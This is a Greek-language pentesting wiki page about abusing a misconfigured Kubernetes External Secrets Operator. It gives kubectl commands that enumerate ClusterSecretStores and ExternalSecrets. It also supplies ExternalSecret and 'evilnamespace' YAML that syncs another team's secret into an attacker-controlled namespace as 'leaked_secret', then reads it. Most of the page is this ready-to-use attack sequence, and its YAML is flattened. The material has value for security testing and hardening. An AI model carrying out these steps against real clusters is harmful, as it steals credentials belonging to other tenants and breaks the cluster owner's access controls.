Kubernetes External Secret Operator

Ο αρχικός συγγραφέας αυτής της σελίδας είναι Fares

Αυτή η σελίδα δίνει ορισμένες οδηγίες για το πώς μπορείτε να καταφέρετε να κλέψετε μυστικά από έναν κακοδιαμορφωμένο ESO ή εφαρμογή που χρησιμοποιεί το ESO για να συγχρονίσει τα μυστικά της.

Αποποίηση Ευθυνών

Η τεχνική που παρουσιάζεται παρακάτω μπορεί να λειτουργήσει μόνο όταν πληρούνται συγκεκριμένες συνθήκες. Για παράδειγμα, εξαρτάται από τις απαιτήσεις που απαιτούνται για να επιτραπεί σε ένα μυστικό να συγχρονιστεί σε ένα namespace που ανήκει σε εσάς / έχετε διαρρηγμένο. Θα πρέπει να το ανακαλύψετε μόνοι σας.

Προαπαιτήσεις

  1. Ένα πόδι σε ένα Kubernetes / Openshift cluster με διαχειριστικά προνόμια σε ένα namespace

  2. Δικαιώματα ανάγνωσης τουλάχιστον στο ExternalSecret σε επίπεδο cluster

  3. Ανακαλύψτε αν υπάρχουν οποιεσδήποτε απαιτούμενες ετικέτες / αναφορές ή μέλη ομάδας που απαιτούνται για να επιτραπεί στο ESO να συγχρονίσει το μυστικό σας. Αν είστε τυχεροί, μπορείτε ελεύθερα να κλέψετε οποιοδήποτε ορισμένο μυστικό.

Συλλογή πληροφοριών σχετικά με το υπάρχον ClusterSecretStore

Υποθέτοντας ότι έχετε έναν χρήστη που έχει αρκετά δικαιώματα για να διαβάσει αυτό το πόρο, ξεκινήστε με τη λίστα των υπαρχόντων ClusterSecretStores.

kubectl get ClusterSecretStore

Απαρίθμηση ExternalSecret

Ας υποθέσουμε ότι βρήκατε ένα ClusterSecretStore με το όνομα mystore. Συνεχίστε απαριθμώντας το σχετικό externalsecret.

kubectl get externalsecret -A | grep mystore

Αυτό το resource είναι περιορισμένο στο namespace, οπότε εκτός αν γνωρίζετε ήδη σε ποιο namespace να ψάξετε, προσθέστε την επιλογή -A για να αναζητήσετε σε όλα τα namespaces.

Θα πρέπει να λάβετε μια λίστα με τα ορισμένα externalsecret. Ας υποθέσουμε ότι βρήκατε ένα αντικείμενο externalsecret με το όνομα mysecret που έχει οριστεί και χρησιμοποιείται από το namespace mynamespace. Συγκεντρώστε λίγο περισσότερες πληροφορίες σχετικά με τον τύπο μυστικού που περιέχει.

kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

Συναρμολόγηση των κομματιών

Από εδώ μπορείτε να λάβετε το όνομα ενός ή περισσότερων ονομάτων μυστικών (όπως ορίζεται στο αντικείμενο Secret). Θα έχετε ένα αποτέλεσμα παρόμοιο με:

kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...
<p>Μέχρι στιγμής έχουμε:</p>

* Ονομασία ενός ClusterSecretStore
* Ονομασία ενός ExternalSecret
* Ονομασία του μυστικού

<p>Τώρα που έχουμε όλα όσα χρειαζόμαστε, μπορείτε να δημιουργήσετε ένα ExternalSecret (και τελικά να τροποποιήσετε/δημιουργήσετε ένα νέο Namespace για να συμμορφωθεί με τις προϋποθέσεις που απαιτούνται για να συγχρονιστεί το νέο σας μυστικό):</p>
kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace

Μετά από λίγα λεπτά, εάν πληρούνται οι συνθήκες συγχρονισμού, θα πρέπει να μπορείτε να δείτε το διαρρεύσαν μυστικό μέσα στο namespace σας.

kubectl get secret leaked_secret -o yaml

Αναφορές

Last updated